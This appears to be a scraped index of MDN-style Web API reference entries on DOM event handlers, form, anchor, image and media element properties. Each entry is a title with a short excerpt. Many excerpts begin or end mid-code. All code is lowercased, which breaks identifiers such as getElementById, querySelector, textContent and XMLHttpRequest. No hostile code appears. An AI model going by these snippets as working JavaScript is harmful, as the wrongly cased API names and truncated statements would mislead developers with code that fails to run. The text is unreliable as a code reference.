html <p>click anywhere in this example.</p> <p id="log"></p> javascript let log = document.getelementbyid('log'); document.onclick = inputchange; function inputchange(e) { log.textcontent = `position: (${e.clientx}, ${e.clienty})`; } result specification specification status comment html living standardthe definition of 'onclick' in that specification.
GlobalEventHandlers.onclose - Web APIs
specifications specification status comment html living standardthe definition of 'onclose' in that specification.
GlobalEventHandlers.oncontextmenu - Web APIs
t function pause(e) { body.classlist.add('paused'); note.removeattribute('hidden'); } function play(e) { body.classlist.remove('paused'); note.setattribute('hidden', ''); } const body = document.queryselector('body'); const note = document.queryselector('.note'); window.oncontextmenu = pause; window.onpointerdown = play; result specifications specification status comment html living standardthe definition of 'oncontextmenu' in that specification.
GlobalEventHandlers.oncuechange - Web APIs
specification specification status comment html living standardthe definition of 'oncuechange' in that specification.
GlobalEventHandlers.ondblclick - Web APIs
html <p>double click anywhere in this example.</p> <p id="log"></p> javascript let log = document.getelementbyid('log'); document.ondblclick = logdoubleclick; function logdoubleclick(e) { log.textcontent = `position: (${e.clientx}, ${e.clienty})`; } result specifications specification status comment html living standardthe definition of 'ondblclick' in that specification.
GlobalEventHandlers.ondurationchange - Web APIs
specification specification status comment html living standardthe definition of 'ondurationchange' in that specification.
GlobalEventHandlers.onemptied - Web APIs
specification specification status comment html living standardthe definition of 'onemptied' in that specification.
GlobalEventHandlers.onended - Web APIs
specification specification status comment html living standardthe definition of 'onended' in that specification.
GlobalEventHandlers.onerror - Web APIs
specifications specification status comment html living standardthe definition of 'onerror' in that specification.
GlobalEventHandlers.onfocus - Web APIs
specifications specification status comment html living standardthe definition of 'onfocus' in that specification.
GlobalEventHandlers.onformdata - Web APIs
rieve data formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }; specifications specification status comment html living standardthe definition of 'onformdata' in that specification.
GlobalEventHandlers.oninput - Web APIs
placeholder="type something here to see its length." size="50"> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.getelementbyid('log'); input.oninput = handleinput; function handleinput(e) { log.textcontent = `the field's value is ${e.target.value.length} character(s) long.`; } result specifications specification status comment html living standardthe definition of 'oninput' in that specification.
GlobalEventHandlers.oninvalid - Web APIs
nks = document.getelementbyid('thanks'); city.oninvalid = invalid; form.onsubmit = submit; function invalid(event) { error.removeattribute('hidden'); } function submit(event) { form.setattribute('hidden', ''); thanks.removeattribute('hidden'); // for this example, don't actually submit the form event.preventdefault(); } result specification specification status comment html living standardthe definition of 'oninvalid' in that specification.
GlobalEventHandlers.onkeydown - Web APIs
html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeydown = logkey; function logkey(e) { log.textcontent += ` ${e.code}`; } result specifications specification status comment html living standardthe definition of 'onkeydown' in that specification.
GlobalEventHandlers.onkeypress - Web APIs
specifications specification status comment html living standardthe definition of 'onkeypress' in that specification.
GlobalEventHandlers.onkeyup - Web APIs
html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeyup = logkey; function logkey(e) { log.textcontent += ` ${e.code}`; } result specifications specification status comment html living standardthe definition of 'onkeyup' in that specification.
GlobalEventHandlers.onload - Web APIs
specifications specification status comment html living standardthe definition of 'onload' in that specification.
GlobalEventHandlers.onloadeddata - Web APIs
specification specification status comment html living standardthe definition of 'onloadeddata' in that specification.
GlobalEventHandlers.onloadedmetadata - Web APIs
specification specification status comment html living standardthe definition of 'onloadedmetadata' in that specification.
GlobalEventHandlers.onloadstart - Web APIs
g"> javascript content // 'loadstart' fires first, then 'load', then 'loadend' image.addeventlistener('load', function(e) { console.log('image loaded'); }); image.addeventlistener('loadstart', function(e) { console.log('image load started'); }); image.addeventlistener('loadend', function(e) { console.log('image load finished'); }); specifications specification status comment html living standardthe definition of 'onloadstart' in that specification.
GlobalEventHandlers.onmousedown - Web APIs
lientx - 50 + 'px'; view.style.top = event.clienty - 50 + 'px'; } function hideview(event) { view.setattribute('hidden', ''); } const container = document.queryselector('.container'); const view = document.queryselector('.view'); container.onmousedown = showview; container.onmousemove = moveview; document.onmouseup = hideview; result specification specification status comment html living standardthe definition of 'onmousedown' in that specification.
GlobalEventHandlers.onmouseenter - Web APIs
specification specification status comment html living standardthe definition of 'onmouseenter' in that specification.
GlobalEventHandlers.onmouseleave - Web APIs
specification specification status comment html living standardthe definition of 'onmouseleave' in that specification.
GlobalEventHandlers.onmousemove - Web APIs
specifications specification status comment html living standardthe definition of 'onmousemove' in that specification.
GlobalEventHandlers.onmouseout - Web APIs
html <p>test your mouse on me!</p> javascript const p = document.queryselector('p'); p.onmouseover = logmouseover; p.onmouseout = logmouseout; function logmouseover() { p.innerhtml = 'mouse over detected'; } function logmouseout() { p.innerhtml = 'mouse out detected'; } result specification specification status comment html living standardthe definition of 'onmouseout' in that specification.
GlobalEventHandlers.onmouseover - Web APIs
html <p>test your mouse on me!</p> javascript const p = document.queryselector('p'); p.onmouseover = logmouseover; p.onmouseout = logmouseout; function logmouseover() { p.innerhtml = 'mouse over detected'; } function logmouseout() { p.innerhtml = 'mouse out detected'; } result specifications specification status comment html living standardthe definition of 'onmouseover' in that specification.
GlobalEventHandlers.onmouseup - Web APIs
transform: translate(-50%, -50%); } javascript function depress() { toast.classlist.add('depressed'); } function release() { toast.classlist.remove('depressed'); } const toaster = document.queryselector('.toaster'); const toast = document.queryselector('.toast'); toaster.onmousedown = depress; document.onmouseup = release; result specification specification status comment html living standardthe definition of 'onmouseup' in that specification.
GlobalEventHandlers.onpause - Web APIs
specification specification status comment html living standardthe definition of 'onpause' in that specification.
GlobalEventHandlers.onplay - Web APIs
</video> <p>video courtesy of <a href="http://www.bigbuckbunny.org/" target="_blank">big buck bunny</a>.</p> <script> function alertplay() { alert("the video has started to play."); } </script> specification specification status comment html living standardthe definition of 'onplay' in that specification.
GlobalEventHandlers.onplaying - Web APIs
specification specification status comment html living standardthe definition of 'onplaying' in that specification.
GlobalEventHandlers.onreset - Web APIs
time stamp: ${event.timestamp}`; } const form = document.getelementbyid('form'); const log = document.getelementbyid('log'); form.onreset = logreset; result specification specification status comment html living standardthe definition of 'onreset' in that specification.
GlobalEventHandlers.onresize - Web APIs
ow height: <span id="height"></span></p> <p>window width: <span id="width"></span></p> const heightoutput = document.queryselector('#height'); const widthoutput = document.queryselector('#width'); function resize() { heightoutput.textcontent = window.innerheight; widthoutput.textcontent = window.innerwidth; } window.onresize = resize; specification specification status comment html living standardthe definition of 'onresize' in that specification.
GlobalEventHandlers.onscroll - Web APIs
7 8 9</textarea> <p id="log"></p> css textarea { width: 4rem; height: 8rem; font-size: 3rem; } javascript const textarea = document.queryselector('textarea'); const log = document.getelementbyid('log'); textarea.onscroll = logscroll; function logscroll(e) { log.textcontent = `scroll position: ${e.target.scrolltop}`; } result specifications specification status comment html living standardthe definition of 'onscroll' in that specification.
GlobalEventHandlers.onselect - Web APIs
javascript function logselection(event) { const log = document.getelementbyid('log'); const selection = event.target.value.substring(event.target.selectionstart, event.target.selectionend); log.textcontent = `you selected: ${selection}`; } const textarea = document.queryselector('textarea'); textarea.onselect = logselection; result specification specification status comment html living standardthe definition of 'onselect' in that specification.
GlobalEventHandlers.onselectionchange - Web APIs
specifications specification status comment selection apithe definition of 'globaleventhandlers.onselectionchange' in that specification.
GlobalEventHandlers.onselectstart - Web APIs
specifications specification status comment selection apithe definition of 'globaleventhandlers.onselectstart' in that specification.
GlobalEventHandlers.onsubmit - Web APIs
ks = document.getelementbyid('thanks'); city.oninvalid = invalid; form.onsubmit = submit; function invalid(event) { error.removeattribute('hidden'); } function submit(event) { form.setattribute('hidden', ''); thanks.removeattribute('hidden'); // for this example, don't actually submit the form event.preventdefault(); } result specifications specification status comment html living standardthe definition of 'onsubmit' in that specification.
GlobalEventHandlers.ontransitioncancel - Web APIs
specification specification status comment css transitionsthe definition of 'ontransitioncancel' in that specification.
GlobalEventHandlers.ontransitionend - Web APIs
specification specification status comment css transitionsthe definition of 'ontransitionend' in that specification.
GlobalEventHandlers.onwheel - Web APIs
{ // zoom in scale *= event.deltay * -2; } else { // zoom out scale /= event.deltay * 2; } // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); document.onwheel = zoom; result specification specification status comment html living standardthe definition of 'onwheel' in that specification.
HTMLAnchorElement.download - Web APIs
syntax var dnload = anchorelt.download; anchorelt.download = dnload; specifications specification status comment html living standardthe definition of 'download' in that specification.
HTMLAnchorElement.rel - Web APIs
syntax var relstr = anchorelt.rel; anchorelt.rel = relstr; example var anchors = document.getelementsbytagname("a"); var length = anchors.length; for (var i = 0; i < length; i++) { alert("rel: " + anchors[i].rel); } specifications specification status comment html living standardthe definition of 'rel' in that specification.
HTMLAnchorElement.relList - Web APIs
example var anchors = document.getelementsbytagname("a"); var length = anchors.length; for (var i = 0; i < length; i++) { var list = anchors[i].rellist; var listlength = list.length; console.log("new anchor node found with", listlength, "link types in rellist."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html living standardthe definition of 'rellist' in that specification.
HTMLAreaElement.rel - Web APIs
syntax var relstr = areaelt.rel; areaelt.rel = relstr; example var areas = document.getelementsbytagname("area"); var length = areas.length; for (var i = 0; i < length; i++) { alert("rel: " + areas[i].rel); } specifications specification status comment html living standardthe definition of 'rel' in that specification.
HTMLAreaElement.relList - Web APIs
syntax var relstr = areaelt.rellist; example var areas = document.getelementsbytagname("area"); var length = areas.length; for (var i = 0; i < length; i++) { var list = areas[i].rellist; var listlength = list.length; console.log("new area found."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html living standardthe definition of 'rellist' in that specification.
Audio() - Web APIs
specifications specification status comment html living standardthe definition of 'audio()' in that specification.
HTMLBaseFontElement - Web APIs
specifications specification status comment document object model (dom) level 2 html specificationthe definition of 'htmlbasefontelement' in that specification.
HTMLButtonElement.labels - Web APIs
1</label> <button id="test">button</button> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const button = document.getelementbyid("test"); for(var i = 0; i < button.labels.length; i++) { console.log(button.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLCanvasElement.captureStream() - Web APIs
send it to another computer using an rtcpeerconnection // pc is an rtcpeerconnection created elsewhere pc.addstream(stream); specifications specification status comment media capture from dom elementsthe definition of 'htmlcanvaselement.capturestream()' in that specification.
HTMLCanvasElement.transferControlToOffscreen() - Web APIs
// push frames back to the original htmlcanvaselement gl.commit(); specifications specification status comment html living standardthe definition of 'htmlcanvaselement.transfercontroltooffscreen()' in that specification.
HTMLCanvasElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlcanvaselement' in that specification.
HTMLCollection.item - Web APIs
example var c = document.images; // this is an htmlcollection var img0 = c.item(0); // you can use the item() method this way var img1 = c[1]; // but this notation is easier and more common ...
HTMLCollection - Web APIs
id is myform: var elem1, elem2; // document.forms is an htmlcollection elem1 = document.forms[0]; elem2 = document.forms.item(0); alert(elem1 === elem2); // shows: "true" elem1 = document.forms.myform; elem2 = document.forms.nameditem("myform"); alert(elem1 === elem2); // shows: "true" elem1 = document.forms["named.item.with.periods"]; specifications specification status comment domthe definition of 'htmlcollection' in that specification.
HTMLContentElement - Web APIs
the value is a comma-separated list of css selectors that select the content to insert in place of the <content> element.
HTMLElement: animationcancel event - Web APIs
n.addeventlistener('click', () => { animation.classlist.toggle('active'); animationeventlog.textcontent = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { applyanimation.textcontent = "cancel animation"; } else { applyanimation.textcontent = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
HTMLElement: animationend event - Web APIs
n.addeventlistener('click', () => { animation.classlist.toggle('active'); animationeventlog.textcontent = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { applyanimation.textcontent = "cancel animation"; } else { applyanimation.textcontent = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
HTMLElement: animationiteration event - Web APIs
n.addeventlistener('click', () => { animation.classlist.toggle('active'); animationeventlog.textcontent = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { applyanimation.textcontent = "cancel animation"; } else { applyanimation.textcontent = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
HTMLElement: animationstart event - Web APIs
n.addeventlistener('click', () => { animation.classlist.toggle('active'); animationeventlog.textcontent = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { applyanimation.textcontent = "cancel animation"; } else { applyanimation.textcontent = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
HTMLElement: beforeinput event - Web APIs
bubbles yes cancelable yes interface inputevent event handler property none sync / async sync composed yes default action update the dom element examples this example logs current value of the element immediately before replacing that value with the new one applied to the <input> element.
HTMLElement.click() - Web APIs
WebAPIHTMLElementclick
element.click() example simulate a mouse-click when moving the mouse pointer over a checkbox: html <form> <input type="checkbox" id="mycheck" onmouseover="myfunction()" onclick="alert('click event occured')"> </form> javascript // on mouse-over, execute myfunction function myfunction() { document.getelementbyid("mycheck").click(); } specification specification status comment html living standard living standard document object model (dom) level 2 html specification obsolete initial definition.
HTMLElement.contentEditable - Web APIs
syntax editable = element.contenteditable element.contenteditable = 'true' specifications specification status comment html living standardthe definition of 'contenteditable' in that specification.
HTMLElement.dir - Web APIs
WebAPIHTMLElementdir
example var parg = document.getelementbyid("para1"); parg.dir = "rtl"; // change the text direction on a paragraph identified as "para1" specifications specification status comment html living standardthe definition of 'dir' in that specification.
HTMLElement.forceSpellCheck() - Web APIs
the forcespellcheck() method of the htmlelement interface forces a spelling and grammar check on html elements, even if the user has not focused on the elements.
inert - Web APIs
WebAPIHTMLElementinert
according to the spec: when a node is inert, then the user agent must act as if the node was absent for the purposes of targeting user interaction events, may ignore the node for the purposes of text search user interfaces (commonly known as "find in page"), and may prevent the user from selecting text in that node.
HTMLElement.innerText - Web APIs
rows="6" cols="30" readonly>...</textarea> javascript const source = document.getelementbyid("source"); const textcontentoutput = document.getelementbyid("textcontentoutput"); const innertextoutput = document.getelementbyid("innertextoutput"); textcontentoutput.value = source.textcontent; innertextoutput.value = source.innertext; result specification specification status comment html living standardthe definition of 'innertext' in that specification.
HTMLElement: input event - Web APIs
this is unlike the change event, which only fires when the value is committed, such as by pressing the enter key, selecting a value from a list of options, and the like.
HTMLElement.offsetHeight - Web APIs
specification specification status comment css object model (cssom) view modulethe definition of 'offsetheight' in that specification.
HTMLElement.offsetLeft - Web APIs
x = document.getelementbyid("box"); var longspan = document.getelementbyid("longspan"); box.style.left = longspan.offsetleft + document.body.scrollleft + "px"; box.style.top = longspan.offsettop + document.body.scrolltop + "px"; box.style.width = longspan.offsetwidth + "px"; box.style.height = longspan.offsetheight + "px"; </script> specification specification status comment css object model (cssom) view modulethe definition of 'offsetleft' in that specification.
HTMLElement.offsetParent - Web APIs
specification specification status comment css object model (cssom) view modulethe definition of 'offsetparent' in that specification.
HTMLElement.offsetTop - Web APIs
example var d = document.getelementbyid("div1"); var toppos = d.offsettop; if (toppos > 10) { // object is offset more // than 10 pixels from its parent } specification specification status comment css object model (cssom) view modulethe definition of 'offsettop' in that specification.
HTMLElement.offsetWidth - Web APIs
example specification specification status comment css object model (cssom) view modulethe definition of 'offsetwidth' in that specification.
HTMLElement.title - Web APIs
WebAPIHTMLElementtitle
syntax var str = element.title; element.title = str; example const link = document.createelement('a'); link.innertext = 'grapes'; link.href = 'https://en.wikipedia.org/wiki/grape'; link.title = 'wikipedia page on grapes'; specifications specification status comment html living standardthe definition of 'title' in that specification.
HTMLElement: transitioncancel event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitioncancel' in that specification.
HTMLElement: transitionend event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionend' in that specification.
HTMLElement: transitionrun event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionrun' in that specification.
HTMLElement: transitionstart event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionstart' in that specification.
HTMLFontElement.face - Web APIs
the obsolete htmlfontelement.face property is a domstring that reflects the face html attribute, containing a comma-separated list of one or more font names.
HTMLFontElement - Web APIs
htmlfontelement.face is a domstring that reflects the face html attribute, containing a comma-separated list of one or more font names.
HTMLFormElement.action - Web APIs
syntax var string = form.action; form.action = string; example form.action = '/cgi-bin/publish'; specifications specification status comment html living standardthe definition of 'htmlformelement: action' in that specification.
HTMLFormElement.elements - Web APIs
input" && inputs[i].type === "text") { // update text input inputs[i].value.tolocaleuppercase(); } } disabling form controls var inputs = document.getelementbyid("my-form").elements; // iterate over the form controls for (i = 0; i < inputs.length; i++) { // disable all form controls inputs[i].setattribute("disabled", ""); } specifications specification status comment html living standardthe definition of 'htmlformelement.elements' in that specification.
HTMLFormElement.enctype - Web APIs
syntax var string = form.enctype; form.enctype = string; example form.enctype = 'application/x-www-form-urlencoded'; specifications specification status comment html living standardthe definition of 'htmlformelement: enctype' in that specification.
HTMLFormElement: formdata event - Web APIs
like this: formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }; specifications specification status comment html living standardthe definition of 'formdata' in that specification.
HTMLFormElement.length - Web APIs
example if (document.getelementbyid('form1').length > 1) { // more than one form control here } specifications specification status comment html living standardthe definition of 'htmlformelement: length' in that specification.
HTMLFormElement.method - Web APIs
syntax var string = form.method; form.method = string; example document.forms['myform'].method = 'post'; const formelement = document.createelement("form"); // create a form document.body.appendchild(formelement); console.log(formelement.method); // 'get' specifications specification status comment html living standardthe definition of 'htmlformelement: method' in that specification.
HTMLFormElement.name - Web APIs
syntax var string = form.name; form.name = string; example var form1name = document.getelementbyid('form1').name; if (form1name != document.form.form1) { // browser doesn't support this form of reference } specifications specification status comment html living standardthe definition of 'htmlformelement: name' in that specification.
HTMLFormElement.requestSubmit() - Web APIs
let myform = document.queryselector("form"); let submitbutton = myform.queryselector("#main-submit"); if (myform.requestsubmit) { if (submitbutton) { myform.requestsubmit(submitbutton); } else { myform.requestsubmit(); } } else { myform.submit(); } specifications specification status comment html living standardthe definition of 'requestsubmit()' in that specification.
HTMLFormElement.reset() - Web APIs
syntax htmlformelement.reset() example document.getelementbyid('myform').reset(); specifications specification status comment html living standardthe definition of 'htmlformelement: reset' in that specification.
HTMLFormElement.submit() - Web APIs
syntax htmlformelement.submit() example document.forms["myform"].submit(); specifications specification status comment html living standardthe definition of 'htmlformelement: submit' in that specification.
HTMLFormElement.target - Web APIs
syntax string = htmlformelement.target htmlformelement.target = string example myform.target = document.frames[1].name; specifications specification status comment html living standardthe definition of 'htmlformelement: target' in that specification.
HTMLHtmlElement.version - Web APIs
this property has been declared as deprecated by the w3c technical recommendation for html 4.01 in favor of use of the dtd for obtaining version information for a document.
HTMLHyperlinkElementUtils.hash - Web APIs
syntax string = object.hash; object.hash = string; examples <a id="myanchor" href="/docs/htmlhyperlinkelementutils.href#examples">examples</a> <script> var anchor = document.getelementbyid("myanchor"); console.log(anchor.hash); // returns '#examples' </script> specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.hash' in that specification.
HTMLHyperlinkElementUtils.host - Web APIs
eloper.mozilla.org" anchor.href = "https://developer.mozilla.org:443/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port anchor.href = "https://developer.mozilla.org:4097/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org:4097" specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.host' in that specification.
HTMLHyperlinkElementUtils.hostname - Web APIs
syntax string = object.hostname; object.hostname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.hostname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.hostname; // returns:'developer.mozilla.org' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.hostname' in that specification.
HTMLHyperlinkElementUtils.href - Web APIs
tax string = object.href; object.href = string; examples // lets imagine an <a id="myanchor" href="https://developer.mozilla.org/htmlhyperlinkelementutils/href"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.href; // returns: 'https://developer.mozilla.org/htmlhyperlinkelementutils/href' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.href' in that specification.
HTMLHyperlinkElementUtils.origin - Web APIs
syntax string = object.origin; examples // on this page, returns the origin var result = window.location.origin; // returns:'https://developer.mozilla.org' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.origin' in that specification.
HTMLHyperlinkElementUtils.password - Web APIs
syntax string = object.password; object.password = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/htmlhyperlinkelementutils.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.password; // returns:'flabada' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.password' in that specification.
HTMLHyperlinkElementUtils.pathname - Web APIs
syntax string = object.pathname; object.pathname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.pathname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.pathname; // returns:'/docs/htmlhyperlinkelementutils.pathname' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.pathname' in that specification.
HTMLHyperlinkElementUtils.port - Web APIs
syntax string = object.port; object.port = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org:443/docs/htmlhyperlinkelementutils.port"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.port; // returns:'443' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.port' in that specification.
HTMLHyperlinkElementUtils.protocol - Web APIs
syntax string = object.protocol; object.protocol = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/htmlhyperlinkelementutils.protocol"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.protocol; // returns:'https:' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.protocol' in that specification.
HTMLHyperlinkElementUtils.search - Web APIs
anchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.search' in that specification.
HTMLHyperlinkElementUtils.toString() - Web APIs
ing = object.tostring(); examples // let's imagine an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils/tostring"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.tostring(); // returns: 'https://developer.mozilla.org/docs/htmlhyperlinkelementutils/tostring' specifications specification status comment html living standard living standard ...
HTMLHyperlinkElementUtils.username - Web APIs
syntax string = object.username; object.username = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/htmlhyperlinkelementutils.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.username; // returns:'anonymous' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.username' in that specification.
contentDocument - Web APIs
specifications specification status comment html living standardthe definition of 'htmliframeelement: contentdocument' in that specification.
HTMLIFrameElement.contentWindow - Web APIs
specifications specification status comment html living standardthe definition of 'htmliframeelement: contentwindow' in that specification.
HTMLIFrameElement.csp - Web APIs
specifications specification status comment content security policy: embedded enforcementthe definition of 'csp' in that specification.
HTMLIFrameElement.featurePolicy - Web APIs
specification specification status comment feature policy editor's draft initial definition.
HTMLIFrameElement.src - Web APIs
syntax refstr = iframeelt.src; iframeelt.src= refstr; example var iframe = document.createelement("iframe"); iframe.src = "/"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete url as the referrer specifications specification status comment html living standardthe definition of 'htmliframeelement: src' in that specification.
srcdoc - Web APIs
examples var iframe = document.createelement("iframe"); iframe.srcdoc = `<!doctype html><p>hello world!</p>`; document.body.appendchild(iframe); specifications specification status comment html living standardthe definition of 'htmliframeelement: srcdoc' in that specification.
Image() - Web APIs
examples var myimage = new image(100, 200); myimage.src = 'picture.jpg'; document.body.appendchild(myimage); this would be the equivalent of defining the following html tag inside the <body>: <img width="100" height="200" src="picture.jpg"> specifications specification status comment html living standardthe definition of 'image()' in that specification.
HTMLImageElement.crossOrigin - Web APIs
thanks for reading me.</p> </div> css body { font: 1.125rem/1.5, helvetica, sans-serif; } .container { display: flow-root; width: 37.5em; border: 1px solid #d2d2d2; } img { float: left; padding-right: 1.5em; } output { background: rgba(100, 100, 100, 0.1); font-family: courier, monospace; width: 95%; } result specifications specification status comment html living standardthe definition of 'htmlimageelement.crossorigin' in that specification.
HTMLImageElement.currentSrc - Web APIs
00px.png 400w" sizes="(max-width: 400px) 50%, 90%"> javascript var clockimage = document.queryselector("img"); let p = document.createelement("p"); if (!clockimage.currentsrc.endswith("200px.png")) { p.innertext = "using the 200px image."; } else { p.innertext = "using the 400px image!"; } document.body.appendchild(p); result specifications specification status comment html living standardthe definition of 'htmlimageelement.currentsrc' in that specification.
HTMLImageElement.decoding - Web APIs
examples var img = new image(); img.decoding = 'sync'; img.src = 'img/logo.png'; specifications specification status comment html living standardthe definition of 'decoding' in that specification.
HTMLImageElement.height - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.height' in that specification.
HTMLImageElement.isMap - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.ismap' in that specification.
HTMLImageElement.naturalHeight - Web APIs
result specifications specification status comment html living standardthe definition of 'htmlimageelement.naturalheight' in that specification.
HTMLImageElement.naturalWidth - Web APIs
result specifications specification status comment html living standardthe definition of 'htmlimageelement.naturalwidth' in that specification.
HTMLImageElement.useMap - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.usemap' in that specification.
HTMLImageElement.width - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.width' in that specification.
HTMLImageElement.x - Web APIs
css defining the appearance of the table: .group1 { background-color: #d7d9f2; } table { border-collapse: collapse; border: 2px solid rgb(100, 100, 100); font-family: sans-serif; } td, th { border: 1px solid rgb(100, 100, 100); padding: 10px 14px; } td > img { max-width: 4em; } result the resulting table looks like this: specifications specification status comment css object model (cssom) view modulethe definition of 'htmlimageelement.x' in that specification.
HTMLImageElement.y - Web APIs
css defining the appearance of the table: .group1 { background-color: #d7d9f2; } table { border-collapse: collapse; border: 2px solid rgb(100, 100, 100); font-family: sans-serif; } td, th { border: 1px solid rgb(100, 100, 100); padding: 10px 14px; } td > img { max-width: 4em; } result the resulting table looks like this: specifications specification status comment css object model (cssom) view modulethe definition of 'htmlimageelement.y' in that specification.
HTMLInputElement.select() - Web APIs
in browsers where it is not supported, it is possible to replace it with a call to htmlinputelement.setselectionrange() with parameters 0 and the input's value length: <input onclick="this.select();" value="sample text" /> <!-- equivalent to --> <input onclick="this.setselectionrange(0, this.value.length);" value="sample text" /> specifications specification status comment html living standardthe definition of 'select' in that specification.
HTMLInputElement.webkitEntries - Web APIs
specifications specification status comment file and directory entries apithe definition of 'webkitentries' in that specification.
HTMLInputElement.webkitdirectory - Web APIs
mentbyid("filepicker").addeventlistener("change", function(event) { let output = document.getelementbyid("listing"); let files = event.target.files; for (let i=0; i<files.length; i++) { let item = document.createelement("li"); item.innerhtml = files[i].webkitrelativepath; output.appendchild(item); }; }, false); result specifications specification status comment file and directory entries apithe definition of 'webkitdirectory' in that specification.
HTMLLabelElement.control - Web APIs
specifications specification status comment html living standardthe definition of 'control' in that specification.
HTMLLabelElement.form - Web APIs
specifications specification status comment html living standardthe definition of 'form' in that specification.
HTMLLabelElement.htmlFor - Web APIs
specifications specification status comment html living standardthe definition of 'htmlfor' in that specification.
HTMLLinkElement.relList - Web APIs
syntax var relstr = linkelt.rellist; example var links = document.getelementsbytagname("link"); var length = links.length; for (var i = 0; i < length; i++) { var list = links[i].rellist; var listlength = list.length; console.log("new link found."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html living standardthe definition of 'rellist' in that specification.
HTMLMediaElement: abort event - Web APIs
ps://path/to/video.webm'; video.addeventlistener('abort', () => { console.log(`abort loading: ${videosrc}`); }); const source = document.createelement('source'); source.setattribute('src', videosrc); source.setattribute('type', 'video/webm'); video.appendchild(source); specifications specification status html living standard living standard html5 recommendation ...
HTMLMediaElement: canplay event - Web APIs
recommendation ...
HTMLMediaElement: canplaythrough event - Web APIs
recommendation ...
HTMLMediaElement.captureStream() - Web APIs
specifications specification status comment media capture from dom elementsthe definition of 'capturestream()' in that specification.
HTMLMediaElement.controlsList - Web APIs
specifications specification status comment controls list api: solution outline browser compatibility the compatibility table on this page is generated from structured data.
HTMLMediaElement: durationchange event - Web APIs
recommendation ...
HTMLMediaElement: emptied event - Web APIs
recommendation ...
HTMLMediaElement: ended event - Web APIs
recommendation ...
HTMLMediaElement: error event - Web APIs
event handler property onerror examples const video = document.queryselector('video'); const videosrc = 'https://path/to/video.webm'; video.addeventlistener('error', () => { console.error(`error loading: ${videosrc}`); }); video.setattribute('src', videosrc); specifications specification status html living standard living standard html5 recommendation ...
HTMLMediaElement.fastSeek() - Web APIs
let myvideo = document.getelementbyid("myvideoelement"); myvideo.fastseek(20); specifications specification status comment html living standardthe definition of 'fastseek()' in that specification.
HTMLMediaElement: loadeddata event - Web APIs
recommendation ...
HTMLMediaElement: loadedmetadata event - Web APIs
recommendation ...
HTMLMediaElement: loadstart event - Web APIs
recommendation ...
HTMLMediaElement.onerror - Web APIs
